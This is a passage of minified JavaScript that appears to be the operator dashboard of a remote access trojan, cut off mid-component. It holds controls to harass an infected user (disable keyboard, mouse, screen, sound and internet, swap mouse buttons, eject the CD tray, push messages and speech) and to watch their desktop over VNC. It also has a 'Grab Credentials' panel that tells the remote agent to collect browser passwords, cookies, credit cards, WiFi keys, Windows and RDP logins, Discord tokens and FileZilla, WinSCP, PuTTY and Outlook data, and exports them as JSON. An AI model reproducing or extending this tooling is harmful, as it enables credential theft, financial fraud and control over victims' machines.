overflow-y-auto",style:{background:"#0b0b0f"},children:[s.jsx("div",{className:"px-3 pt-3 pb-2",children:s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase",children:"Actions"})}),s.jsxs("div",{className:"flex flex-col gap-1 px-2 pb-3",children:[s.jsx(zs,{icon:s.jsx(kU,{}),label:"Message Box",desc:"Pop up a dialog",color:"#f59e0b",onClick:()=>h(!0)}),s.jsx(zs,{icon:s.jsx(NU,{}),label:"Text to Speech",desc:"Read text aloud",color:"#8b5cf6",onClick:()=>w(!0)}),s.jsx(zs,{icon:s.jsx(SU,{}),label:"Open Website",desc:"Launch a URL",color:"#06b6d4",onClick:()=>N(!0)}),s.jsx(zs,{icon:s.jsx(zU,{}),label:"Wallpaper",desc:"Change background",color:"#10b981",onClick:()=>T(!0)}),s.jsx(zs,{icon:s.jsx(CU,{}),label:"CD Tray",desc:"Eject disc drive",color:"#ec4899",onClick:()=>Z("troll_cd_tray")})]}),s.jsxs("div",{className:"border-t border-[#1a1a20] px-3 py-3",children:[s.jsx("span",{className:"font-mono text-[9px] font-semibold tracking-[0.2em] text-zerin-text-muted/50 uppercase block mb-2.5",children:"Toggles"}),s.jsxs("div",{className:"flex flex-col gap-2",children:[s.jsx(xi,{label:"Taskbar",active:c,color:"#06b6d4",onToggle:le}),s.jsx(xi,{label:"Swap Mouse",active:K,color:"#f59e0b",onToggle:()=>me(K,R,"troll_swapmouse"),invert:!0}),s.jsx(xi,{label:"Sound",active:!I,color:"#8b5cf6",onToggle:()=>me(I,F,"troll_disablesound")}),s.jsx(xi,{label:"Screen",active:!B,color:"#ef4444",onToggle:()=>me(B,V,"troll_blackscreen")}),s.jsx(xi,{label:"Keyboard",active:!$,color:"#10b981",onToggle:()=>me($,q,"troll_disablekeyboard")}),s.jsx(xi,{label:"Mouse",active:!Y,color:"#ec4899",onToggle:()=>me(Y,ie,"troll_disablemouse")}),s.jsx(xi,{label:"Internet",active:!ae,color:"#06b6d4",onToggle:()=>me(ae,fe,"troll_reroutesites")})]})]})]}),s.jsxs("div",{className:"flex-1 flex items-center justify-center relative overflow-hidden",style:{background:"#08080a"},children:[s.jsx("div",{className:"absolute inset-0 pointer-events-none opacity-[0.03] z-10",style:{backgroundImage:"repeating-linear-gradient(0deg, transparent, transparent 2px, rgba(255,255,255,0.03) 2px, rgba(255,255,255,0.03) 4px)"}}),te&&r?s.jsx("canvas",{ref:t,className:"max-w-full max-h-full",style:{cursor:"default",aspectRatio:o.w>0?`${o.w}/${o.h}`:void 0,filter:"brightness(0.95)"}}):D?s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsxs("div",{className:"relative",children:[s.jsx("div",{className:"w-16 h-16 rounded-full border-2 animate-spin",style:{borderColor:"rgba(6, 182, 212, 0.1)",borderTopColor:"rgba(6, 182, 212, 0.6)"}}),s.jsx("div",{className:"absolute inset-0 flex items-center justify-center",children:s.jsx("svg",{className:"w-6 h-6 text-zerin-accent/40",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})})]}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:te?"Waiting for frame...":"Connecting to desktop..."}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted",children:"View-only stream for live trolling"})]})]}):s.jsxs("div",{className:"flex flex-col items-center gap-5",children:[s.jsx("div",{className:"w-16 h-16 flex items-center justify-center",style:{background:"rgba(6, 182, 212, 0.08)",border:"1px solid rgba(6, 182, 212, 0.18)"},children:s.jsx("svg",{className:"w-7 h-7 text-zerin-accent/60",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.5,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M9 17.25v1.007a3 3 0 01-.879 2.122L7.5 21h9l-.621-.621A3 3 0 0115 18.257V17.25m6-12V15a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 15V5.25m18 0A2.25 2.25 0 0018.75 3H5.25A2.25 2.25 0 003 5.25m18 0V12a2.25 2.25 0 01-2.25 2.25H5.25A2.25 2.25 0 013 12V5.25"})})}),s.jsxs("div",{className:"text-center",children:[s.jsx("p",{className:"font-display text-sm font-medium text-zerin-text-dim mb-1",children:"Connect to live desktop view?"}),s.jsx("p",{className:"font-mono text-[10px] text-zerin-text-muted mb-4",children:"This will start a VNC session to stream the agent's screen"}),s.jsx("button",{onClick:()=>A(!0),className:"px-4 py-2 text-xs font-semibold text-white transition-all",style:{background:"#06b6d4",boxShadow:"0 0 12px rgba(6,182,212,0.3)"},children:"Connect VNC"})]})]}),d&&s.jsx("div",{className:"absolute bottom-4 left-1/2 -translate-x-1/2 z-20 px-4 py-2 font-mono text-xs animate-fade-in",style:{background:"#111115",border:`1px solid ${d.type==="err"?"rgba(239,68,68,0.3)":"rgba(6,182,212,0.25)"}`,color:d.type==="err"?"#ef4444":"#06b6d4"},children:d.text})]})]}),m&&s.jsxs(Ll,{title:"Message Box",color:"#f59e0b",onClose:()=>h(!1),children:[s.jsxs("div",{className:"space-y-3",children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TITLE"}),s.jsx("input",{type:"text",value:x,onChange:X=>g(X.target.value),placeholder:"Window title...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#f59e0b]/30 transition-colors`})]}),s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"MESSAGE"}),s.jsx("textarea",{value:y,onChange:X=>v(X.target.value),placeholder:"Enter message...",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#f59e0b]/30 transition-colors`,autoFocus:!0})]})]}),s.jsx(Il,{onCancel:()=>h(!1),onSend:ge,color:"#f59e0b",disabled:!y.trim()})]}),b&&s.jsxs(Ll,{title:"Text to Speech",color:"#8b5cf6",onClose:()=>w(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"TEXT"}),s.jsx("textarea",{value:j,onChange:X=>k(X.target.value),placeholder:"What should they hear?",rows:3,className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text\r placeholder-zerin-text-muted/40 resize-none focus:outline-none focus:border-[#8b5cf6]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Il,{onCancel:()=>w(!1),onSend:M,color:"#8b5cf6",disabled:!j.trim()})]}),S&&s.jsxs(Ll,{title:"Open Website",color:"#06b6d4",onClose:()=>N(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"URL"}),s.jsx("input",{type:"text",value:z,onChange:X=>O(X.target.value),placeholder:"https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-zerin-accent/30 transition-colors`,autoFocus:!0})]}),s.jsx(Il,{onCancel:()=>N(!1),onSend:ee,color:"#06b6d4",disabled:!z.trim()||z==="https://"})]}),_&&s.jsxs(Ll,{title:"Change Wallpaper",color:"#10b981",onClose:()=>T(!1),children:[s.jsxs("div",{children:[s.jsx("label",{className:"block text-zerin-text-muted text-[11px] font-mono mb-1",children:"IMAGE PATH OR URL"}),s.jsx("input",{type:"text",value:E,onChange:X=>U(X.target.value),placeholder:"C:\\path\\to\\image.jpg or https://...",className:`w-full bg-[#0a0a0e] border border-[#1f1f25] px-3 py-2 text-sm text-zerin-text font-mono\r placeholder-zerin-text-muted/40 focus:outline-none focus:border-[#10b981]/30 transition-colors`,autoFocus:!0})]}),s.jsx(Il,{onCancel:()=>T(!1),onSend:W,color:"#10b981",disabled:!E.trim()})]})]})}function zs({icon:e,label:t,desc:n,color:r,onClick:i}){return s.jsxs("button",{onClick:i,className:"group flex items-center gap-3 px-3 py-2.5 text-left transition-all duration-150 hover:translate-x-0.5",style:{background:"transparent"},onMouseEnter:a=>{a.currentTarget.style.background=`${r}08`,a.currentTarget.style.borderLeft=`2px solid ${r}40`,a.currentTarget.style.paddingLeft="10px"},onMouseLeave:a=>{a.currentTarget.style.background="transparent",a.currentTarget.style.borderLeft="none",a.currentTarget.style.paddingLeft="12px"},children:[s.jsx("div",{className:"w-8 h-8 flex items-center justify-center shrink-0 transition-colors",style:{background:`${r}10`,border:`1px solid ${r}20`},children:s.jsx("div",{style:{color:`${r}cc`},children:e})}),s.jsxs("div",{className:"min-w-0",children:[s.jsx("div",{className:"text-[12px] font-medium text-zerin-text-dim group-hover:text-zerin-text transition-colors leading-tight",children:t}),s.jsx("div",{className:"text-[10px] text-zerin-text-muted/50 leading-tight mt-0.5",children:n})]})]})}function Ll({title:e,color:t,onClose:n,children:r}){return s.jsx("div",{className:"fixed inset-0 z-50 flex items-center justify-center bg-black/70",onClick:n,children:s.jsxs("div",{className:"w-full max-w-sm mx-4 animate-scale-in",style:{background:"#111115",border:`1px solid ${t}25`,boxShadow:`0 0 40px ${t}08`},onClick:i=>i.stopPropagation(),children:[s.jsxs("div",{className:"flex items-center gap-2 px-4 py-3 border-b",style:{borderColor:`${t}15`},children:[s.jsx("div",{className:"w-2 h-2 rounded-full",style:{background:t,boxShadow:`0 0 8px ${t}60`}}),s.jsx("span",{className:"font-display text-sm font-semibold",style:{color:t},children:e})]}),s.jsx("div",{className:"p-4 space-y-4",children:r})]})})}function Il({onCancel:e,onSend:t,color:n,disabled:r}){return s.jsxs("div",{className:"flex items-center justify-end gap-2 pt-1",children:[s.jsx("button",{onClick:e,className:`px-3 py-1.5 text-xs font-medium text-zerin-text-muted\r hover:text-zerin-text-dim bg-[#18181c] hover:bg-[#1f1f25] transition-colors`,children:"Cancel"}),s.jsx("button",{onClick:t,disabled:r,className:`px-4 py-1.5 text-xs font-semibold text-white transition-all\r disabled:opacity-30 disabled:cursor-not-allowed`,style:{background:r?"#333":n,boxShadow:r?"none":`0 0 12px ${n}40`},children:"Send"})]})}function xi({label:e,active:t,color:n,onToggle:r,invert:i}){const a=t;return s.jsxs("div",{className:"flex items-center justify-between",children:[s.jsx("span",{className:"text-[11px] text-zerin-text-dim font-medium",children:e}),s.jsx("button",{onClick:r,className:"relative w-9 h-[20px] rounded-full transition-colors duration-200 focus:outline-none",style:{background:a?`${n}30`:"rgba(239, 68, 68, 0.2)",border:`1px solid ${a?`${n}40`:"rgba(239, 68, 68, 0.3)"}`},children:s.jsx("div",{className:"absolute top-[2px] w-3.5 h-3.5 rounded-full transition-all duration-200",style:{left:a?"18px":"2px",background:a?n:"#ef4444",boxShadow:`0 0 6px ${a?`${n}50`:"rgba(239,68,68,0.4)"}`}})})]})}function kU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M8 10h.01M12 10h.01M16 10h.01M9 16H5a2 2 0 01-2-2V6a2 2 0 012-2h14a2 2 0 012 2v8a2 2 0 01-2 2h-5l-5 5v-5z"})})}function NU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M19.114 5.636a9 9 0 010 12.728M16.463 8.288a5.25 5.25 0 010 7.424M6.75 8.25l4.72-4.72a.75.75 0 011.28.53v15.88a.75.75 0 01-1.28.53l-4.72-4.72H4.51c-.88 0-1.704-.507-1.938-1.354A9.01 9.01 0 012.25 12c0-.83.112-1.633.322-2.396C2.806 8.756 3.63 8.25 4.51 8.25H6.75z"})})}function SU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M12 21a9.004 9.004 0 008.716-6.747M12 21a9.004 9.004 0 01-8.716-6.747M12 21c2.485 0 4.5-4.03 4.5-9S14.485 3 12 3m0 18c-2.485 0-4.5-4.03-4.5-9S9.515 3 12 3m0 0a8.997 8.997 0 017.843 4.582M12 3a8.997 8.997 0 00-7.843 4.582m15.686 0A11.953 11.953 0 0112 10.5c-2.998 0-5.74-1.1-7.843-2.918m15.686 0A8.959 8.959 0 0121 12c0 .778-.099 1.533-.284 2.253m0 0A17.919 17.919 0 0112 16.5c-3.162 0-6.133-.815-8.716-2.247m0 0A9.015 9.015 0 013 12c0-1.605.42-3.113 1.157-4.418"})})}function zU(){return s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M2.25 15.75l5.159-5.159a2.25 2.25 0 013.182 0l5.159 5.159m-1.5-1.5l1.409-1.409a2.25 2.25 0 013.182 0l2.909 2.909m-18 3.75h16.5a1.5 1.5 0 001.5-1.5V6a1.5 1.5 0 00-1.5-1.5H3.75A1.5 1.5 0 002.25 6v12a1.5 1.5 0 001.5 1.5zm10.5-11.25h.008v.008h-.008V8.25zm.375 0a.375.375 0 11-.75 0 .375.375 0 01.75 0z"})})}function CU(){return s.jsxs("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:1.8,children:[s.jsx("circle",{cx:"12",cy:"12",r:"9"}),s.jsx("circle",{cx:"12",cy:"12",r:"3"})]})}function PU({agentId:e,agentStatus:t,autoGrab:n,onAutoGrabConsumed:r}){var w,j,k,S,N,z,O,_,T,E,U,K,R,I,F,B,V,$,q,Y,ie,ae,fe,de,G,te,P;const[i,a]=p.useState(null),[o,l]=p.useState(!1),[c,u]=p.useState(""),[d,f]=p.useState(new Set),m=t==="dead",h=p.useRef(null);p.useEffect(()=>()=>{h.current&&clearInterval(h.current)},[]);const x=p.useRef(!1);p.useEffect(()=>{n&&!x.current&&!m&&(x.current=!0,y(),r==null||r())},[n]);const g=C=>{f(D=>{const A=new Set(D);return A.has(C)?A.delete(C):A.add(C),A})},y=p.useCallback(async()=>{if(!m){l(!0),u(""),a(null),h.current&&(clearInterval(h.current),h.current=null);try{const{task_id:C}=await ke(e,{command:"creds"});let D=0;h.current=setInterval(async()=>{var A,Z,le,me,ge,M;D++;try{const W=(A=(await Tn(e)).results)==null?void 0:A.find(X=>X.task_id===C);if(W){if(h.current&&clearInterval(h.current),h.current=null,l(!1),W.error){u(W.error);return}if(W.output)try{const X=JSON.parse(W.output);a(X);const ne=new Set;(Z=X.chrome_passwords)!=null&&Z.length&&ne.add("chrome_passwords"),(le=X.firefox_passwords)!=null&&le.length&&ne.add("firefox_passwords"),(me=X.wifi)!=null&&me.length&&ne.add("wifi"),(ge=X.windows_credentials)!=null&&ge.length&&ne.add("windows_credentials"),(M=X.discord_tokens)!=null&&M.length&&ne.add("discord_tokens"),f(ne)}catch{u("Failed to parse credential data")}}else D>=60&&(h.current&&clearInterval(h.current),h.current=null,l(!1),u("Timed out waiting for results"))}catch{}},3e3)}catch(C){l(!1),u(C instanceof Error?C.message:"Failed to submit task")}}},[e,m]),v=C=>{navigator.clipboard.writeText(C).catch(()=>{})},b=()=>{if(!i)return;const C=new Blob([JSON.stringify(i,null,2)],{type:"application/json"}),D=URL.createObjectURL(C),A=document.createElement("a");A.href=D,A.download=`credentials_${e.slice(0,8)}.json`,A.click(),URL.revokeObjectURL(D)};return s.jsxs("div",{className:"p-6 animate-fade-in space-y-4",children:[s.jsxs("div",{className:"flex items-center gap-3",children:[s.jsx("button",{onClick:y,disabled:o||m,className:`inline-flex items-center gap-2 text-sm font-medium\r bg-zerin-accent hover:bg-zerin-accent-hover text-white\r px-4 py-2 transition-colors\r disabled:opacity-30 disabled:cursor-not-allowed`,children:o?s.jsxs(s.Fragment,{children:[s.jsx("div",{className:"w-4 h-4 border-2 border-white/30 border-t-white rounded-full animate-spin"}),"Grabbing..."]}):s.jsxs(s.Fragment,{children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M15.75 5.25a3 3 0 013 3m3 0a6 6 0 01-7.029 5.912c-.563-.097-1.159.026-1.563.43L10.5 17.25H8.25v2.25H6v2.25H2.25v-2.818c0-.597.237-1.17.659-1.591l6.499-6.499c.404-.404.527-1 .43-1.563A6 6 0 1121.75 8.25z"})}),"Grab Credentials"]})}),i&&s.jsxs("button",{onClick:b,className:`inline-flex items-center gap-1.5 text-sm font-medium\r text-zerin-text-dim hover:text-zerin-text\r bg-zerin-panel hover:bg-zerin-panel-hover\r border border-zerin-panel-border\r px-3 py-2 transition-colors`,children:[s.jsx("svg",{className:"w-4 h-4",fill:"none",viewBox:"0 0 24 24",stroke:"currentColor",strokeWidth:2,children:s.jsx("path",{strokeLinecap:"round",strokeLinejoin:"round",d:"M3 16.5v2.25A2.25 2.25 0 005.25 21h13.5A2.25 2.25 0 0021 18.75V16.5M16.5 12L12 16.5m0 0L7.5 12m4.5 4.5V3"})}),"Export JSON"]}),m&&s.jsx("span",{className:"text-zerin-danger text-xs font-medium",children:"Agent offline"})]}),c&&s.jsx("div",{className:"bg-zerin-danger-dim border border-zerin-danger/20 px-4 py-3 text-sm text-zerin-danger",children:c}),i&&s.jsxs("div",{className:"space-y-2",children:[s.jsx(Tr,{title:"Browser Passwords",count:(((w=i.chrome_passwords)==null?void 0:w.length)??0)+(((j=i.firefox_passwords)==null?void 0:j.length)??0),expanded:d.has("chrome_passwords")||d.has("firefox_passwords"),onToggle:()=>{g("chrome_passwords"),g("firefox_passwords")},children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].length===0?s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No passwords found"}):s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"URL"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:[...i.chrome_passwords??[],...i.firefox_passwords??[]].map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.browser??"Firefox"}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:C.url}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.username),children:C.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})]})}),s.jsx(Tr,{title:"Browser Cookies",count:((k=i.chrome_cookies)==null?void 0:k.length)??0,expanded:d.has("chrome_cookies"),onToggle:()=>g("chrome_cookies"),children:(S=i.chrome_cookies)!=null&&S.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Host"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Value"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cookies.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:C.host}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono",children:C.name}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.value),children:[C.value.slice(0,40),"..."]})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No cookies found"})}),s.jsx(Tr,{title:"Credit Cards",count:((N=i.chrome_cards)==null?void 0:N.length)??0,expanded:d.has("chrome_cards"),onToggle:()=>g("chrome_cards"),children:(z=i.chrome_cards)!=null&&z.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Browser"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Name"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Number"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Exp"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.chrome_cards.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.browser}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text",children:C.name}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.number),children:C.number}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.exp})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No credit cards found"})}),s.jsx(Tr,{title:"WiFi Passwords",count:((O=i.wifi)==null?void 0:O.length)??0,expanded:d.has("wifi"),onToggle:()=>g("wifi"),children:(_=i.wifi)!=null&&_.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"SSID"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Auth"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.wifi.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-medium",children:C.ssid}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.auth}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password||"(none)"})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No WiFi passwords found"})}),s.jsx(Tr,{title:"Windows Credentials",count:((T=i.windows_credentials)==null?void 0:T.length)??0,expanded:d.has("windows_credentials"),onToggle:()=>g("windows_credentials"),children:(E=i.windows_credentials)!=null&&E.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Target"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Username"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Password"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.windows_credentials.map((C,D)=>s.jsxs("tr",{className:`hover:bg-zerin-panel-hover ${C.is_rdp?"bg-zerin-accent-muted/30":""}`,children:[s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono max-w-[200px] truncate",children:[C.is_rdp&&s.jsx("span",{className:"text-zerin-accent font-medium mr-1",children:"[RDP]"}),C.target]}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.username),children:C.username}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.type})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Windows credentials found"})}),s.jsx(Tr,{title:"Discord Tokens",count:((U=i.discord_tokens)==null?void 0:U.length)??0,expanded:d.has("discord_tokens"),onToggle:()=>g("discord_tokens"),children:(K=i.discord_tokens)!=null&&K.length?s.jsxs("table",{className:"w-full text-xs",children:[s.jsx("thead",{children:s.jsxs("tr",{className:"border-b border-zerin-panel-border",children:[s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Source"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Type"}),s.jsx("th",{className:"text-left px-4 py-2 text-zerin-text-muted font-medium",children:"Token"})]})}),s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.discord_tokens.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.source}),s.jsx("td",{className:"px-4 py-1.5 text-zerin-text-dim",children:C.type}),s.jsxs("td",{className:"px-4 py-1.5 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent max-w-[300px] truncate",onClick:()=>v(C.token),children:[C.token.slice(0,20),"..."]})]},D))})]}):s.jsx("p",{className:"text-zerin-text-muted text-xs px-4 py-3",children:"No Discord tokens found"})}),s.jsx(Tr,{title:"Applications",count:((R=i.telegram)!=null&&R.found?1:0)+(((I=i.filezilla)==null?void 0:I.length)??0)+(((F=i.winscp)==null?void 0:F.length)??0)+(((B=i.putty)==null?void 0:B.length)??0)+(((V=i.outlook)==null?void 0:V.length)??0),expanded:d.has("apps"),onToggle:()=>g("apps"),children:s.jsxs("div",{className:"space-y-3 p-4",children:[i.telegram&&s.jsxs("div",{children:[s.jsx("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:"Telegram"}),i.telegram.found?s.jsxs("p",{className:"text-xs text-zerin-text font-mono",children:["Found at: ",s.jsx("span",{className:"text-zerin-accent cursor-pointer",onClick:()=>v(i.telegram.path),children:i.telegram.path})]}):s.jsx("p",{className:"text-xs text-zerin-text-muted",children:"Not installed"})]}),((($=i.filezilla)==null?void 0:$.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["FileZilla (",i.filezilla.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.filezilla.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[C.host,":",C.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})})]}),(((q=i.winscp)==null?void 0:q.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["WinSCP (",i.winscp.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.winscp.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.host}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.user}),s.jsx("td",{className:"py-1 text-zerin-text font-mono cursor-pointer hover:text-zerin-accent",onClick:()=>v(C.password),children:C.password?"••••••••":""})]},D))})})]}),(((Y=i.putty)==null?void 0:Y.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text mb-1",children:["PuTTY (",i.putty.length,")"]}),s.jsx("table",{className:"w-full text-xs",children:s.jsx("tbody",{className:"divide-y divide-zerin-panel-border",children:i.putty.map((C,D)=>s.jsxs("tr",{className:"hover:bg-zerin-panel-hover",children:[s.jsx("td",{className:"py-1 text-zerin-text-dim",children:C.session}),s.jsxs("td",{className:"py-1 text-zerin-text font-mono",children:[C.host,":",C.port]}),s.jsx("td",{className:"py-1 text-zerin-text font-mono",children:C.user})]},D))})})]}),(((ie=i.outlook)==null?void 0:ie.length)??0)>0&&s.jsxs("div",{children:[s.jsxs("h4",{className:"text-xs font-semibold text-zerin-text 